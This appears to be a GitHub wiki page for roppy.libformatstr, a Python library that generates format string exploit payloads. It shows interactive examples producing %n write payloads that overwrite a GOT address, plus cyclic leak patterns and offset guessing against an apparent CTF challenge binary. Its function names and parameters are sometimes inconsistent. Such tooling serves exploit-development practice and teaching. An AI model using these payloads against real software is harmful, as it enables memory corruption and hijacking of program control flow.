Skip to content

Format String Payload

Ayushman Dubey edited this page May 26, 2020 · 3 revisions

roppy.libformatstr - Format String Exploit Made Easier

The roppy.libformatstr.core helps you in creating format string payloads with hassle, it is based on Hellman's libformatstr.

Module Members

fmtstr32(offset: int, writes: dict, start_len: int, pad: int)

This will create a payload for 32 bit architecture binaries, writes are the dict values, with key being the address to overwrite and value being the contents to overwrite the key with.

  • offset : The write offset
  • writes : Dictionary object containing the address and values.
  • start_len : The starting length at which the payload will be sent.
  • pad_len : The padding length for payload
>>> from roppy import *
>>> got = 0x601018
>>> write = 0x1337
>>> offset = 7
>>> fmtstr32(offset, {got: write})
Warning: Can't avoid null byte at address 0x601018
Warning: Payload contains NULL bytes.
b'%4919c%10$nA\x18\x10`\x00'

>>> fmtstr32(offset, {got: write}, start_len=12, pad=10)
[WARN] Can't avoid null byte at address 0x601018
[WARN] Payload contains NULL bytes.
b'%4907c%10$nAAA\x18\x10`\x00'
>>> fmtstr32(offset, {got: write}, start_len=12, pad=20)
[WARN] Can't avoid null byte at address 0x601018
[WARN] Payload contains NULL bytes.
b'%4907c%10$nA\x18\x10`\x00'

fmtstr64(offset: int, writes: dict, start_len: int, pad: int)

This will create a payload for 64 bit architecture binaries, writes are the dict values, with key being the address to overwrite and value being the contents to overwrite the key with.

  • offset : The write offset
  • writes : Dictionary object containing the address and values.
  • start_len : The starting length at which the payload will be sent.
  • pad_len : The padding length for payload
>>> from roppy import *
>>> got = 0x601018
>>> write = 0x1337
>>> offset = 7
>>> fmtstr64(offset, {got: write})
Warning: Can't avoid null byte at address 0x601018
Warning: Payload contains NULL bytes.
b'%4919c%9$nAAAAAA\x18\x10`\x00\x00\x00\x00\x00'
>>> fmtstr64(offset, {got: write}, start_len=12, pad=20)
[WARN] Can't avoid null byte at address 0x601018
[WARN] Payload contains NULL bytes.
b'%4907c%8$nAA\x18\x10`\x00\x00\x00\x00\x00'
>>> fmtstr64(offset, {got: write}, start_len=12, pad=40)
[WARN] Can't avoid null byte at address 0x601018
[WARN] Payload contains NULL bytes.
b'%4907c%9$nAAAAAA\x18\x10`\x00\x00\x00\x00\x00'
>>> fmtstr64(offset, {got: write}, start_len=14, pad=40)
[WARN] Can't avoid null byte at address 0x601018
[WARN] Payload contains NULL bytes.
b'%4905c%9$nAAAAAA\x18\x10`\x00\x00\x00\x00\x00'

roppy.libformatstr.pattern(length: int)

This will create a format string cyclic pattern which can be later used to find offset for write primitive later.

>>> fmt_cylic(10)
'Aa0A%1$pXX'
>>> fmt_cylic(40)
'Aa0Aa1Aa2Aa3Aa4Aa5Aa%1$p%5$p%9$p%13$pXXX'

roppy.libformatstr.guess(string: str, buf_len: int, start_len: int, max_size: int)

This will return the offset of the write primitive from the given string omitted by the program after giving the cyclic pattern.

start_len and max_size has been already given the value of 1 and 512 and respectively.

Run any format string challenge:-

robin@oracle:~/Pwning/fmt$ ./fmt1
Input  :Aa0Aa1Aa2Aa3Aa4Aa5Aa%1$p%5$p%9$p%13$pXXX
Aa0Aa1Aa2Aa3Aa4Aa5Aa0x1f40xf7fbc78a0x336141320x70243525XXX

Then,

>>> guess_argnum("Aa0Aa1Aa2Aa3Aa4Aa5Aa0x1f40xf7fbc78a0x336141320x70243525XXX", 40)
(7, 0)